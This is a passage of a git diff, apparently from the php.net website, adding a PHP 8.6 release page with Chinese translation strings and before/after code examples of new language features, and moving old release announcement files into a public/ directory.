    ', + 'stream_error_handling_title' => '流错误处理', + 'stream_error_handling_description' => '现在可以将流操作配置为在出错时抛出 StreamException,或静默失败,而不再发出警告。错误以结构化的 StreamError 对象形式报告,其中包含 StreamErrorCode 枚举项、封装器名称以及受影响的路径或 URL。还可以稍后通过 stream_last_errors() 获取这些错误,或将其传递给自定义错误处理函数。', + 'doc_comments_title' => '函数参数的 DocComments', + 'doc_comments_description' => '函数和方法的参数现在可以拥有各自的 DocComments,并可通过新增的 ReflectionParameter::getDocComment() 方法获取。这样就能直接在每个参数的声明旁编写文档,无需在 @param 标签中重复参数名称和类型。', + 'isreadable_iswriteable_title' => '新增 ReflectionProperty::isReadable() 和 ReflectionProperty::isWritable() 方法', + 'isreadable_iswriteable_description' => '随着 readonly 属性、不对称可见性和属性钩子的引入,仅检查属性是否为 public 已不足以判断它能否被读取或写入。这两个新方法可以直接判断属性在给定作用域下是否可读或可写,也可以针对特定对象进行判断,并综合考虑可见性、初始化状态、钩子和魔术方法。', + + 'new_classes_title' => '更多特性与改进', + 'new_override_constants' => '#[\Override] 注解现在可以用于类常量和枚举项。', + 'new_enum_debug_info' => '枚举现在可以实现 __debugInfo() 魔术方法。', + 'new_const_object_writes' => '现在可以直接修改常量所存储对象的属性,例如 Config::DEFAULTS->timeout = 30。', + 'new_uri_builder' => '新增 Uri\Rfc3986\UriBuilder 和 Uri\WhatWg\UrlBuilder 类,可根据各组成部分构建 URI,同时新增了用于检测 URI 类型和主机类型的方法,以及 Uri\WhatWg\url_percent_encode() 函数。', + 'new_sodium' => 'Sodium 扩展新增了后量子密钥封装(X-Wing 和 ML-KEM-768)、IP 地址加密,以及 SHAKE 和 TurboSHAKE 可扩展输出函数。', + 'new_tls' => 'TLS 流现在支持会话恢复、外部预共享密钥和 TLS 1.3 早期数据(0-RTT)。', + 'new_mysqli_quote_string' => '新增 mysqli::quote_string() 方法,用于转义字符串并为其加上引号,行为与 PDO::quote() 一致。', + 'new_pack_endianness' => 'pack() 和 unpack() 现在支持在整数和浮点数格式码上使用 < 和 > 字节序修饰符。', + 'new_json_error_location' => 'JSON 错误消息现在会包含错误在输入内容中的位置。', + 'new_error_include_args' => '新增 error_include_args INI 设置,用于统一控制在错误消息中包含函数参数。', + 'new_intl' => '新增 grapheme_strrev() 函数,可按字素簇反转字符串;新增 IntlNumberRangeFormatter 类,用于格式化数值范围。', + 'new_zip' => '新增 ZipArchive::openString() 和 ZipArchive::closeString() 方法,用于处理内存中的归档文件。', + 'new_performance' => '性能改进包括:将使用 first-class callable 或 Partial Function Application 回调的 array_map() 调用编译为循环、加快 printf() 调用、缓存无状态闭包,以及加快 JSON 编码。', + + 'bc_title' => '弃用与向后不兼容的变更', + 'bc_return_in_finally' => '在 finally 块中使用 return 现已弃用,因为它会静默丢弃异常,并覆盖 try 或 catch 块的返回值。', + 'bc_constructor_return' => '从 __construct() 或 __destruct() 返回值的行为现已弃用,将它们用作生成器的行为也已弃用。为 __debugInfo() 声明可空返回类型也已弃用。', + 'bc_reserved_identifiers' => '将 let 或 is 用作类名、函数名或常量名现已弃用。将 _ 用作常量名、将 namespace 用作类常量名,以及将 readonly 用作函数名也已弃用。', + 'bc_mbregex' => '由于底层的 Oniguruma 库已停止维护,mb_ereg() 和 mb_split() 等 mbstring 正则表达式函数现已弃用。可改用带 u 修饰符的 PCRE 函数。', + 'bc_type_aliases' => 'is_double()、is_long()、is_integer() 和 doubleval() 这些别名现已弃用。请改用 is_float()、is_int() 和 floatval()。', + 'bc_spl_object_hash' => 'spl_object_hash() 现已弃用,请改用 spl_object_id();spl_classes() 也已弃用,请改用 ReflectionExtension::getClassNames()。', + 'bc_objects_as_arrays' => '向 array_walk()、array_walk_recursive()、http_build_query()、mb_convert_variables() 以及压缩函数和过滤器中应接收数组的位置传入对象,现已弃用。请先使用 get_object_vars() 将对象转换为数组。', + 'bc_strcoll' => 'strcoll() 和 SORT_LOCALE_STRING 排序标志现已弃用。请改用 intl 扩展的 Collator 类。', + 'bc_ignored_arguments' => '向 define() 传入第三个参数现已弃用。在 $allow_string 为 false 时,使用类名字符串调用 is_a() 或 is_subclass_of() 也已弃用。', + 'bc_php_filter' => '在未设置 filter.max_filter_count 上下文选项的情况下,在 php://filter URL 中使用超过 16 个过滤器的行为现已弃用。', + 'bc_session_defaults' => '会话的默认配置现在更加安全:默认启用 session.use_strict_mode 和 session.cookie_httponly,并将 session.cookie_samesite 设为 Lax。', + 'bc_session_handlers' => '未同时实现 create_sid() 和 validateId() 的自定义会话处理器现已弃用。', + 'bc_other_deprecations' => 'metaphone()、mysqli_get_charset() 和 mysqli_stmt_init() 函数现已弃用。此外,SplFileObject 的 CSV 方法,以及 ArrayIterator 的排序、标志和序列化方法也已弃用。', + 'bc_trim_form_feed' => 'trim()、ltrim() 和 rtrim() 现在默认也会移除换页符(\f)。', + 'bc_stream_close_errors' => '当刷新或关闭流失败时,fclose()、file_put_contents() 和 copy() 现在会返回 false,而不再静默忽略失败。', + 'bc_value_errors' => '对于超出范围的值、无效标志或包含 NUL 字节的字符串,许多函数现在会抛出 ValueError,而不再静默截断或忽略它们。', + + 'footer_title' => '更好的语法、更高的性能以及更强的类型安全性。', + 'footer_description' => '

    完整的变更列表记录在 ChangeLog 中。

    如需查看详细的新特性与向后不兼容的变更,请查阅迁移指南。

    ', +]; diff --git a/public/releases/8.6/nl.php b/public/releases/8.6/nl.php new file mode 100644 index 0000000000..bad08164a6 --- /dev/null +++ b/public/releases/8.6/nl.php @@ -0,0 +1,6 @@ + version_compare($version, '8.6', '>='), + ); + PHP, + after: <<<'PHP' + $versions = ['8.4', '8.5', '8.6', '8.7', '9.0']; + + $supportsPfa = array_filter( + $versions, + version_compare(?, '8.6', '>='), + ); + PHP, + ), + new FeatureComparison( + id: 'duration-class', + title: message('duration_title', $lang), + description: message('duration_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/duration_class', + message('documentation', $lang) . "|/manual/$documentation/class.time-duration.php", + ], + before: <<<'PHP' + /** + * All delays are in microseconds. + */ + function backoff( + int $baseDelay, + int $step, + int $attempt, + ): void { + $delay = $baseDelay + ($step * (2 ** $attempt)); + + // Wait at most 30 seconds. + usleep(min($delay, 30_000_000)); + } + + // 1 second base delay, plus 100 milliseconds + // doubling with each attempt. + backoff(1_000_000, 100_000, $attempt); + PHP, + after: <<<'PHP' + use Time\Duration; + + function backoff( + Duration $baseDelay, + Duration $step, + int $attempt, + ): void { + $delay = $baseDelay->add($step->multiplyBy(2 ** $attempt)); + + // Durations are comparable, so min() works directly. + $delay = min($delay, Duration::fromSeconds(30)); + + time_nanosleep($delay->seconds, $delay->nanoseconds); + } + + backoff( + Duration::fromSeconds(1), + Duration::fromMilliseconds(100), + $attempt, + ); + + // Preconfigure the delays using Partial Function Application. + $waitBeforeRetry = backoff( + Duration::fromSeconds(1), + Duration::fromMilliseconds(100), + attempt: ?, + ); + $waitBeforeRetry($attempt); + PHP, + ), + new FeatureComparison( + id: 'polling-api', + title: message('polling_api_title', $lang), + description: message('polling_api_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/poll_api', + ], + before: <<<'PHP' + $server = stream_socket_server('tcp://0.0.0.0:8080'); + $clients = []; + + while (true) { + $read = [$server, ...$clients]; + $write = $except = null; + + // Based on select(), which typically can't handle + // more than 1024 connections + stream_select($read, $write, $except, null); + + foreach ($read as $stream) { + if ($stream === $server) { + $clients[] = stream_socket_accept($server); + continue; + } + + $data = fread($stream, 8192); + + if ($data === '' || $data === false) { + $key = array_search($stream, $clients, true); + unset($clients[$key]); + fclose($stream); + } else { + fwrite($stream, $data); + } + } + } + PHP, + after: <<<'PHP' + use Io\Poll\{Context, Event}; + + $server = stream_socket_server('tcp://0.0.0.0:8080'); + + // Automatically uses epoll, kqueue, event ports, or WSAPoll + $poll = new Context(); + $poll->add(new StreamPollHandle($server), [Event::Read]); + + while (true) { + foreach ($poll->wait() as $watcher) { + $stream = $watcher->getHandle()->getStream(); + + if ($stream === $server) { + $client = stream_socket_accept($server); + $poll->add( + new StreamPollHandle($client), + [Event::Read], + ); + continue; + } + + $data = fread($stream, 8192); + + if ($data === '' || $data === false) { + $watcher->remove(); + fclose($stream); + } else { + fwrite($stream, $data); + } + } + } + PHP, + ), + new FeatureComparison( + id: 'stream-error-handling', + title: message('stream_error_handling_title', $lang), + description: message('stream_error_handling_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/stream_errors', + ], + before: <<<'PHP' + $config = @file_get_contents('/etc/app/config.json'); + + if ($config === false) { + // Only an unstructured message string is available + $error = error_get_last(); + log_error($error['message']); + } + PHP, + after: <<<'PHP' + $context = stream_context_create([ + 'stream' => [ + 'error_mode' => StreamErrorMode::Exception, + ], + ]); + + try { + $config = file_get_contents( + '/etc/app/config.json', + context: $context, + ); + } catch (StreamException $e) { + foreach ($e->getErrors() as $error) { + // $error->code is a StreamErrorCode enum case + log_error( + $error->code->name, + $error->message, + $error->wrapperName, + ); + } + } + PHP, + ), + new FeatureComparison( + id: 'clamp-function', + title: message('clamp_title', $lang), + description: message('clamp_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/clamp_v2', + message('documentation', $lang) . "|/manual/$documentation/function.clamp.php", + ], + before: <<<'PHP' + var_dump(max(0, min(-10, 100))); + // int(0) + + var_dump(max(0, min(50, 100))); + // int(50) + + var_dump(max(0, min(110, 100))); + // int(100) + PHP, + after: <<<'PHP' + var_dump(clamp(-10, 0, 100)); + // int(0) + + var_dump(clamp(50, 0, 100)); + // int(50) + + var_dump(clamp(110, 0, 100)); + // int(100) + + // Any comparable value works with clamp(). This + // includes the new Duration class. + var_dump(clamp( + \Time\Duration::fromSeconds(30), + min: \Time\Duration::fromMinutes(1), + max: \Time\Duration::fromMinutes(10), + )->seconds); + // int(60) + PHP, + ), + new FeatureComparison( + id: 'sort-direction-enum', + title: message('sort_direction_title', $lang), + description: message('sort_direction_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/sort_direction_enum', + message('documentation', $lang) . "|/manual/$documentation/enum.sortdirection.php", + ], + before: <<<'PHP' + class QueryBuilder + { + private array $orderBy = []; + + public function orderBy( + string $column, + int $direction = SORT_ASC, + ): static { + $this->orderBy[] = $column . ' ' . match ($direction) { + SORT_ASC => 'ASC', + SORT_DESC => 'DESC', + }; + + return $this; + } + } + + $qb->orderBy('name', SORT_DESC); + $qb->orderBy('name', SORT_STRING); + // Accepted by the signature, then fails inside the method: + // UnhandledMatchError: Unhandled match case 2 + PHP, + after: <<<'PHP' + class QueryBuilder + { + private array $orderBy = []; + + public function orderBy( + string $column, + SortDirection $direction = SortDirection::Ascending, + ): static { + $this->orderBy[] = $column . ' ' . match ($direction) { + SortDirection::Ascending => 'ASC', + SortDirection::Descending => 'DESC', + }; + + return $this; + } + } + + $qb->orderBy('name', SortDirection::Descending); + $qb->orderBy('name', SORT_STRING); + // TypeError: QueryBuilder::orderBy(): Argument #2 ($direction) + // must be of type SortDirection, int given + PHP, + ), + new FeatureComparison( + id: 'doc-comments', + title: message('doc_comments_title', $lang), + description: message('doc_comments_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/parameter-doccomments', + ], + before: <<<'PHP' + class DB + { + /** + * Returns up to $limit items matching the $query. + * + * @param string $query Terms to search + * @param int $limit Maximum number of results + */ + public function search(string $query, int $limit = 10): array + { + return []; + } + } + + // Parameter descriptions can only be extracted + // by parsing the function's DocComment. + PHP, + after: <<<'PHP' + class DB + { + /** + * Returns up to $limit items matching the $query. + */ + public function search( + /** Terms to search */ + string $query, + + /** Maximum number of results */ + int $limit = 10, + ): array { + return []; + } + } + + var_dump( + new ReflectionParameter([DB::class, 'search'], 'query') + ->getDocComment(), + ); + // string(22) "/** Terms to search */" + PHP, + ), + new FeatureComparison( + id: 'isreadable-iswriteable', + title: message('isreadable_iswriteable_title', $lang), + description: message('isreadable_iswriteable_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/isreadable-iswriteable', + ], + before: '', + after: <<<'PHP' + class NewsEntry + { + public string $title = 'PHP 8.6 released!'; + + public private(set) string $slug = 'php-86-released'; + } + + $entry = new NewsEntry(); + foreach (['title', 'slug'] as $item) { + $property = new ReflectionProperty(NewsEntry::class, $item); + printf( + "%s: isReadable=%s isWritable=%s\n", + $item, + $property->isReadable(null, $entry) ? 'yes' : 'no', + $property->isWritable(null, $entry) ? 'yes' : 'no', + ); + } + // title: isReadable=yes isWritable=yes + // slug: isReadable=yes isWritable=no + PHP, + ), + new FeatureComparison( + id: 'readonly-property-defaults', + title: message('readonly_property_defaults_title', $lang), + description: message('readonly_property_defaults_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/readonly_property_defaults', + ], + before: <<<'PHP' + interface Rule + { + public string $parser { get; } + } + + final readonly class SlugRule implements Rule + { + public string $parser; + + public function __construct() + { + $this->parser = SlugParser::class; + } + } + PHP, + after: <<<'PHP' + interface Rule + { + public string $parser { get; } + } + + final readonly class SlugRule implements Rule + { + public string $parser = SlugParser::class; + } + PHP, + ), +]; + +echo ReleasePage::getHeroSection( + title: message('main_title', $lang), + subtitle: message('main_subtitle', $lang), + logoSvg: <<<'SVG' + + SVG, + upgradeNow: message('upgrade_now', $lang), + whatsNew: message('whats_new', $lang), + released: message('released', $lang), + isReleaseAvailable: false, + unavailableReason: message('release_unavailable_reason', $lang), +); +?> + +
    + + +
    +

    + +
    + +
    +
    +
    +
    +
    + + + + + + +
    +
    +
    +
    +
    +
    + + + + + + + +
    +
    +
    +
    +
    +
    + + + + + + +
    +
    +
    +
    +
    +
    + + + + + + + +
    +
    +
    +
    +
    +
    + + + + + + + +
    +
    +
    +
    +
    +
    + + + + + + + + +
    +
    +
    +
    +
    +
    + + + +
    +
    +
    +
    +

    +
      +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +

    +
      +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +
    +
    + false]); diff --git a/public/releases/8.6/ru.php b/public/releases/8.6/ru.php new file mode 100644 index 0000000000..55e44842ed --- /dev/null +++ b/public/releases/8.6/ru.php @@ -0,0 +1,5 @@ +

    PHP 8.0.0 Release Announcement

    @@ -28,7 +28,7 @@

    The migration guide is available in the PHP Manual. -Please consult it for the detailed list of new features and backward incompatible changes.

    +Please consult it for the detailed list of new features and backward incompatible changes.

    Many thanks to all the contributors and supporters!

    diff --git a/releases/8_0_1.php b/public/releases/8_0_1.php similarity index 92% rename from releases/8_0_1.php rename to public/releases/8_0_1.php index 97cf5d488c..108f38c658 100644 --- a/releases/8_0_1.php +++ b/public/releases/8_0_1.php @@ -1,6 +1,6 @@

    PHP 8.0.1 Release Announcement

    diff --git a/releases/8_0_10.php b/public/releases/8_0_10.php similarity index 92% rename from releases/8_0_10.php rename to public/releases/8_0_10.php index 3440b5811a..09237a49f5 100644 --- a/releases/8_0_10.php +++ b/public/releases/8_0_10.php @@ -1,6 +1,6 @@

    PHP 8.0.10 Release Announcement

    diff --git a/releases/8_0_11.php b/public/releases/8_0_11.php similarity index 93% rename from releases/8_0_11.php rename to public/releases/8_0_11.php index 82d4f2c268..b6656f3966 100644 --- a/releases/8_0_11.php +++ b/public/releases/8_0_11.php @@ -1,6 +1,6 @@

    PHP 8.0.11 Release Announcement

    diff --git a/releases/8_0_12.php b/public/releases/8_0_12.php similarity index 92% rename from releases/8_0_12.php rename to public/releases/8_0_12.php index a7213e88d4..1746eae7f2 100644 --- a/releases/8_0_12.php +++ b/public/releases/8_0_12.php @@ -1,6 +1,6 @@

    PHP 8.0.12 Release Announcement

    diff --git a/releases/8_0_13.php b/public/releases/8_0_13.php similarity index 92% rename from releases/8_0_13.php rename to public/releases/8_0_13.php index c1e366aa03..5209975eef 100644 --- a/releases/8_0_13.php +++ b/public/releases/8_0_13.php @@ -1,6 +1,6 @@

    PHP 8.0.13 Release Announcement

    diff --git a/releases/8_0_14.php b/public/releases/8_0_14.php similarity index 92% rename from releases/8_0_14.php rename to public/releases/8_0_14.php index 746631c021..9a6a992da4 100644 --- a/releases/8_0_14.php +++ b/public/releases/8_0_14.php @@ -1,6 +1,6 @@

    PHP 8.0.14 Release Announcement

    diff --git a/releases/8_0_15.php b/public/releases/8_0_15.php similarity index 92% rename from releases/8_0_15.php rename to public/releases/8_0_15.php index 4f51db67df..fda0347ebc 100644 --- a/releases/8_0_15.php +++ b/public/releases/8_0_15.php @@ -1,6 +1,6 @@

    PHP 8.0.15 Release Announcement

    diff --git a/releases/8_0_16.php b/public/releases/8_0_16.php similarity index 92% rename from releases/8_0_16.php rename to public/releases/8_0_16.php index 7aa6047e4b..ef1f566f39 100644 --- a/releases/8_0_16.php +++ b/public/releases/8_0_16.php @@ -1,6 +1,6 @@

    PHP 8.0.16 Release Announcement

    diff --git a/releases/8_0_17.php b/public/releases/8_0_17.php similarity index 92% rename from releases/8_0_17.php rename to public/releases/8_0_17.php index 573ae2afad..60346ea489 100644 --- a/releases/8_0_17.php +++ b/public/releases/8_0_17.php @@ -1,6 +1,6 @@

    PHP 8.0.17 Release Announcement

    diff --git a/releases/8_0_18.php b/public/releases/8_0_18.php similarity index 92% rename from releases/8_0_18.php rename to public/releases/8_0_18.php index c7ef94398f..93a55d3bb0 100644 --- a/releases/8_0_18.php +++ b/public/releases/8_0_18.php @@ -1,6 +1,6 @@

    PHP 8.0.18 Release Announcement

    diff --git a/releases/8_0_19.php b/public/releases/8_0_19.php similarity index 92% rename from releases/8_0_19.php rename to public/releases/8_0_19.php index daba4a4713..5a971aacfb 100644 --- a/releases/8_0_19.php +++ b/public/releases/8_0_19.php @@ -1,6 +1,6 @@

    PHP 8.0.19 Release Announcement

    diff --git a/releases/8_0_2.php b/public/releases/8_0_2.php similarity index 92% rename from releases/8_0_2.php rename to public/releases/8_0_2.php index bff64c685b..d6ba914091 100644 --- a/releases/8_0_2.php +++ b/public/releases/8_0_2.php @@ -1,6 +1,6 @@

    PHP 8.0.2 Release Announcement

    diff --git a/releases/8_0_20.php b/public/releases/8_0_20.php similarity index 92% rename from releases/8_0_20.php rename to public/releases/8_0_20.php index 9a65e32733..9c1a280dc3 100644 --- a/releases/8_0_20.php +++ b/public/releases/8_0_20.php @@ -1,6 +1,6 @@

    PHP 8.0.20 Release Announcement

    diff --git a/releases/8_0_21.php b/public/releases/8_0_21.php similarity index 92% rename from releases/8_0_21.php rename to public/releases/8_0_21.php index a05a0774fd..ac576e80be 100644 --- a/releases/8_0_21.php +++ b/public/releases/8_0_21.php @@ -1,6 +1,6 @@

    PHP 8.0.21 Release Announcement

    diff --git a/releases/8_0_22.php b/public/releases/8_0_22.php similarity index 92% rename from releases/8_0_22.php rename to public/releases/8_0_22.php index 91ee6b1ace..be20640007 100644 --- a/releases/8_0_22.php +++ b/public/releases/8_0_22.php @@ -1,6 +1,6 @@

    PHP 8.0.22 Release Announcement

    diff --git a/releases/8_0_23.php b/public/releases/8_0_23.php similarity index 92% rename from releases/8_0_23.php rename to public/releases/8_0_23.php index 6903fca2e2..23347f0ab2 100644 --- a/releases/8_0_23.php +++ b/public/releases/8_0_23.php @@ -1,6 +1,6 @@

    PHP 8.0.23 Release Announcement

    diff --git a/releases/8_0_24.php b/public/releases/8_0_24.php similarity index 92% rename from releases/8_0_24.php rename to public/releases/8_0_24.php index 8c81909d3b..7d5f5fb017 100644 --- a/releases/8_0_24.php +++ b/public/releases/8_0_24.php @@ -1,6 +1,6 @@

    PHP 8.0.24 Release Announcement

    diff --git a/releases/8_0_25.php b/public/releases/8_0_25.php similarity index 92% rename from releases/8_0_25.php rename to public/releases/8_0_25.php index 4e6bf58dea..71bed7a0d2 100644 --- a/releases/8_0_25.php +++ b/public/releases/8_0_25.php @@ -1,6 +1,6 @@

    PHP 8.0.25 Release Announcement

    diff --git a/releases/8_0_26.php b/public/releases/8_0_26.php similarity index 94% rename from releases/8_0_26.php rename to public/releases/8_0_26.php index afde40c40e..f1acb4f75d 100644 --- a/releases/8_0_26.php +++ b/public/releases/8_0_26.php @@ -1,6 +1,6 @@

    PHP 8.0.26 Release Announcement

    diff --git a/releases/8_0_27.php b/public/releases/8_0_27.php similarity index 92% rename from releases/8_0_27.php rename to public/releases/8_0_27.php index 2c14ca3fc3..e305b56bd4 100644 --- a/releases/8_0_27.php +++ b/public/releases/8_0_27.php @@ -1,6 +1,6 @@

    PHP 8.0.27 Release Announcement

    diff --git a/releases/8_0_28.php b/public/releases/8_0_28.php similarity index 93% rename from releases/8_0_28.php rename to public/releases/8_0_28.php index 523ccf6843..a8a125eb68 100644 --- a/releases/8_0_28.php +++ b/public/releases/8_0_28.php @@ -1,6 +1,6 @@

    PHP 8.0.28 Release Announcement

    diff --git a/releases/8_0_29.php b/public/releases/8_0_29.php similarity index 93% rename from releases/8_0_29.php rename to public/releases/8_0_29.php index 6054bc1907..55ec952fba 100644 --- a/releases/8_0_29.php +++ b/public/releases/8_0_29.php @@ -1,6 +1,6 @@

    PHP 8.0.29 Release Announcement

    diff --git a/releases/8_0_3.php b/public/releases/8_0_3.php similarity index 92% rename from releases/8_0_3.php rename to public/releases/8_0_3.php index 9a6cc42fe0..65e7408861 100644 --- a/releases/8_0_3.php +++ b/public/releases/8_0_3.php @@ -1,6 +1,6 @@

    PHP 8.0.3 Release Announcement

    diff --git a/releases/8_0_30.php b/public/releases/8_0_30.php similarity index 92% rename from releases/8_0_30.php rename to public/releases/8_0_30.php index a246a73725..c358ea8657 100644 --- a/releases/8_0_30.php +++ b/public/releases/8_0_30.php @@ -1,6 +1,6 @@

    PHP 8.0.30 Release Announcement

    diff --git a/releases/8_0_5.php b/public/releases/8_0_5.php similarity index 92% rename from releases/8_0_5.php rename to public/releases/8_0_5.php index 838c1362ca..15cc57c696 100644 --- a/releases/8_0_5.php +++ b/public/releases/8_0_5.php @@ -1,6 +1,6 @@

    PHP 8.0.5 Release Announcement

    diff --git a/releases/8_0_6.php b/public/releases/8_0_6.php similarity index 93% rename from releases/8_0_6.php rename to public/releases/8_0_6.php index d9b60c7670..24308454d2 100644 --- a/releases/8_0_6.php +++ b/public/releases/8_0_6.php @@ -1,6 +1,6 @@

    PHP 8.0.6 Release Announcement

    diff --git a/releases/8_0_7.php b/public/releases/8_0_7.php similarity index 92% rename from releases/8_0_7.php rename to public/releases/8_0_7.php index 5a80f55bf8..148129737d 100644 --- a/releases/8_0_7.php +++ b/public/releases/8_0_7.php @@ -1,6 +1,6 @@

    PHP 8.0.7 Release Announcement

    diff --git a/releases/8_0_8.php b/public/releases/8_0_8.php similarity index 92% rename from releases/8_0_8.php rename to public/releases/8_0_8.php index b0445a42b6..8aa72f67e7 100644 --- a/releases/8_0_8.php +++ b/public/releases/8_0_8.php @@ -1,6 +1,6 @@

    PHP 8.0.8 Release Announcement

    diff --git a/releases/8_0_9.php b/public/releases/8_0_9.php similarity index 92% rename from releases/8_0_9.php rename to public/releases/8_0_9.php index 6adbbc7e86..eae5f4ea3a 100644 --- a/releases/8_0_9.php +++ b/public/releases/8_0_9.php @@ -1,6 +1,6 @@

    PHP 8.0.9 Release Announcement

    diff --git a/releases/8_1_0.php b/public/releases/8_1_0.php similarity index 97% rename from releases/8_1_0.php rename to public/releases/8_1_0.php index 051b37701d..714ba7a464 100644 --- a/releases/8_1_0.php +++ b/public/releases/8_1_0.php @@ -1,6 +1,6 @@

    PHP 8.1.0 Release Announcement

    diff --git a/releases/8_1_1.php b/public/releases/8_1_1.php similarity index 92% rename from releases/8_1_1.php rename to public/releases/8_1_1.php index b1a4bc316c..b7f5bfe207 100644 --- a/releases/8_1_1.php +++ b/public/releases/8_1_1.php @@ -1,6 +1,6 @@

    PHP 8.1.1 Release Announcement

    diff --git a/releases/8_1_10.php b/public/releases/8_1_10.php similarity index 92% rename from releases/8_1_10.php rename to public/releases/8_1_10.php index 7ddc3808aa..0e77dcba67 100644 --- a/releases/8_1_10.php +++ b/public/releases/8_1_10.php @@ -1,6 +1,6 @@

    PHP 8.1.10 Release Announcement

    diff --git a/releases/8_1_11.php b/public/releases/8_1_11.php similarity index 92% rename from releases/8_1_11.php rename to public/releases/8_1_11.php index 18af88719b..bea7bce2ce 100644 --- a/releases/8_1_11.php +++ b/public/releases/8_1_11.php @@ -1,6 +1,6 @@

    PHP 8.1.11 Release Announcement

    diff --git a/releases/8_1_12.php b/public/releases/8_1_12.php similarity index 92% rename from releases/8_1_12.php rename to public/releases/8_1_12.php index ebd073b0d7..484cb46973 100644 --- a/releases/8_1_12.php +++ b/public/releases/8_1_12.php @@ -1,6 +1,6 @@

    PHP 8.1.12 Release Announcement

    diff --git a/releases/8_1_13.php b/public/releases/8_1_13.php similarity index 92% rename from releases/8_1_13.php rename to public/releases/8_1_13.php index 25eb5e8a0e..c5bd180371 100644 --- a/releases/8_1_13.php +++ b/public/releases/8_1_13.php @@ -1,6 +1,6 @@

    PHP 8.1.13 Release Announcement

    diff --git a/releases/8_1_14.php b/public/releases/8_1_14.php similarity index 92% rename from releases/8_1_14.php rename to public/releases/8_1_14.php index 92dbf3314f..9b311ac07f 100644 --- a/releases/8_1_14.php +++ b/public/releases/8_1_14.php @@ -1,6 +1,6 @@

    PHP 8.1.14 Release Announcement

    diff --git a/releases/8_1_15.php b/public/releases/8_1_15.php similarity index 92% rename from releases/8_1_15.php rename to public/releases/8_1_15.php index 380b29236c..b1d8ad368a 100644 --- a/releases/8_1_15.php +++ b/public/releases/8_1_15.php @@ -1,6 +1,6 @@

    PHP 8.1.15 Release Announcement

    diff --git a/releases/8_1_16.php b/public/releases/8_1_16.php similarity index 93% rename from releases/8_1_16.php rename to public/releases/8_1_16.php index 9ab02bb0ec..3bc96ca09b 100644 --- a/releases/8_1_16.php +++ b/public/releases/8_1_16.php @@ -1,6 +1,6 @@

    PHP 8.1.16 Release Announcement

    diff --git a/releases/8_1_17.php b/public/releases/8_1_17.php similarity index 92% rename from releases/8_1_17.php rename to public/releases/8_1_17.php index 4d733f3e4f..6950353f49 100644 --- a/releases/8_1_17.php +++ b/public/releases/8_1_17.php @@ -1,6 +1,6 @@

    PHP 8.1.17 Release Announcement

    diff --git a/releases/8_1_18.php b/public/releases/8_1_18.php similarity index 92% rename from releases/8_1_18.php rename to public/releases/8_1_18.php index abf412d0fb..fc2887b29b 100644 --- a/releases/8_1_18.php +++ b/public/releases/8_1_18.php @@ -1,6 +1,6 @@

    PHP 8.1.18 Release Announcement

    diff --git a/releases/8_1_19.php b/public/releases/8_1_19.php similarity index 92% rename from releases/8_1_19.php rename to public/releases/8_1_19.php index ffc298232d..43ea6cae63 100644 --- a/releases/8_1_19.php +++ b/public/releases/8_1_19.php @@ -1,6 +1,6 @@

    PHP 8.1.19 Release Announcement

    diff --git a/releases/8_1_2.php b/public/releases/8_1_2.php similarity index 92% rename from releases/8_1_2.php rename to public/releases/8_1_2.php index 3bf0bd29e4..ef1f384a07 100644 --- a/releases/8_1_2.php +++ b/public/releases/8_1_2.php @@ -1,6 +1,6 @@

    PHP 8.1.2 Release Announcement

    diff --git a/releases/8_1_20.php b/public/releases/8_1_20.php similarity index 92% rename from releases/8_1_20.php rename to public/releases/8_1_20.php index ec70ee3873..3956258f5c 100644 --- a/releases/8_1_20.php +++ b/public/releases/8_1_20.php @@ -1,6 +1,6 @@

    PHP 8.1.20 Release Announcement

    diff --git a/releases/8_1_21.php b/public/releases/8_1_21.php similarity index 92% rename from releases/8_1_21.php rename to public/releases/8_1_21.php index 43c45a81c2..a7f7bfe3b4 100644 --- a/releases/8_1_21.php +++ b/public/releases/8_1_21.php @@ -1,6 +1,6 @@

    PHP 8.1.21 Release Announcement

    diff --git a/releases/8_1_22.php b/public/releases/8_1_22.php similarity index 92% rename from releases/8_1_22.php rename to public/releases/8_1_22.php index 874e79ae45..25da7778d1 100644 --- a/releases/8_1_22.php +++ b/public/releases/8_1_22.php @@ -1,6 +1,6 @@

    PHP 8.1.22 Release Announcement

    diff --git a/releases/8_1_23.php b/public/releases/8_1_23.php similarity index 92% rename from releases/8_1_23.php rename to public/releases/8_1_23.php index 0a299b2cad..c7580d6302 100644 --- a/releases/8_1_23.php +++ b/public/releases/8_1_23.php @@ -1,6 +1,6 @@

    PHP 8.1.23 Release Announcement

    diff --git a/releases/8_1_24.php b/public/releases/8_1_24.php similarity index 92% rename from releases/8_1_24.php rename to public/releases/8_1_24.php index 98550cb72f..003d820c12 100644 --- a/releases/8_1_24.php +++ b/public/releases/8_1_24.php @@ -1,6 +1,6 @@

    PHP 8.1.24 Release Announcement

    diff --git a/releases/8_1_25.php b/public/releases/8_1_25.php similarity index 92% rename from releases/8_1_25.php rename to public/releases/8_1_25.php index ddfc309f64..4d608ff44d 100644 --- a/releases/8_1_25.php +++ b/public/releases/8_1_25.php @@ -1,6 +1,6 @@

    PHP 8.1.25 Release Announcement

    diff --git a/releases/8_1_26.php b/public/releases/8_1_26.php similarity index 92% rename from releases/8_1_26.php rename to public/releases/8_1_26.php index 07d343693b..2f696f463d 100644 --- a/releases/8_1_26.php +++ b/public/releases/8_1_26.php @@ -1,6 +1,6 @@

    PHP 8.1.26 Release Announcement

    diff --git a/releases/8_1_27.php b/public/releases/8_1_27.php similarity index 92% rename from releases/8_1_27.php rename to public/releases/8_1_27.php index 3c9785ec13..cb5e7a553d 100644 --- a/releases/8_1_27.php +++ b/public/releases/8_1_27.php @@ -1,6 +1,6 @@

    PHP 8.1.27 Release Announcement

